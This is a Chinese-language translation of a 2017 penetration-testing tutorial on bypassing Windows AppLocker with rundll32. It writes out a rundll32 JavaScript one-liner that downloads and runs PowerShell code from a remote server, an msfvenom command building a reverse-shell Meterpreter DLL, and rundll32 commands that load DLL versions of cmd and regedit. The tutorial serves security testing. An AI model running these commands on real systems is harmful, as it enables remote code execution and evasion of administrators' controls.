本文讲的是绕过AppLocker系列之Rundll32的利用,Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件。由于此实用程序是Windows操作系统的一部分,因此可以将其用作一种绕过AppLocker规则或软件限制策略的方法。所以如果系统环境没有正确的锁定某些设置,那么用户就可以使用这个二进制文件做一些事情,他们也可以编写自己的DLL,来绕过任何限制或执行恶意的JavaScript代码。
Rundll32 – JavaScript
可以使用rundll32这个二进制文件来执行已经嵌入有效载荷并且托管在Web服务器上的JavaScript代码。Metasploit的Web传递模块可以快速的创建一个将用于特定有效负载(Python,PHP或PowerShell)的Web服务器。在本文的演示中,有效负载用的是PowerShell。
exploit/multi/script/web_delivery
Web Delivery模块配置
需要从cmd中执行以下命令。如果命令提示符被锁定而不能运行,可以使用下面描述的方法解锁cmd。
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
Rundll32 执行 JavaScript代码
Rundll32将执行任意代码,并返回一个Meterpreter会话。这样做的好处是,不需要在磁盘上写文件就可以绕过AppLocker规则。但是PowerShell要允许在系统上运行才行。
Web Delivery有效载荷
Rundll32 – Meterpreter
可以使用Metasploit 的Msfvenom来创建一个包含meterpreter有效载荷的自定义DLL文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 -f dll -o pentestlab.dll
Msfvenom DLL生成
然后,rundll32实用程序就可以加载并执行pentestlab.dll文件中的有效载荷。
rundll32 shell32.dll,Control_RunDLL C:Userspentestlab.dll
利用Rundll32执行DLL绕过AppLocker
获取到一个meterpreter 会话。
Rundll32 返回的 Meterpreter会话
运行cmd
在通过AppLocker规则锁定禁止cmd运行的Windows系统中,可以通过将恶意DLL文件注入到合法的进程来绕过此限制。Didier Stevens通过使用从ReactOS开源项目获得的变种,以DLL文件的形式发布了一个修改版本的cmd。
AppLocker禁止cmd运行
由于rundll32是受信任的Microsoft实用程序,因此可以将cmd.dll加载到进程中,执行DLL中的代码,因此这样就可以绕过AppLocker规则并打开cmd。以下两个命令可以在Windows中执行:
rundll32 C:cmd.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:cmd.dll
Rundll32 – DLL加载入口点函数
Rundll32 – DLL加载Control Run函数
代码将通过rundll32执行,之后会打开一个cmd窗口。
Rundll32 –绕过cmd禁止运行的限制
注册表
相同的绕过技术也可以应用在注册表被锁定禁止运行的系统中。Didier Stevens还发布了一个修改版本的注册表编辑器,形式也是一个DLL文件,和上面提到的修改过的cmd是一样的。
AppLocker – 注册表被阻止运行
以下命令可以通过rundll32加载并运行regedit.dll,可以绕过AppLocker规则。
rundll32 C:regedit.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:regedit.dll
AppLocker – Rundll32运行注册表程序
绕过AppLocker – 打开了注册表程序
绕过AppLocker –通过 Rundll32解锁运行注册表程序
原文发布时间为:2017年6月27日
本文作者:丝绸之路
本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。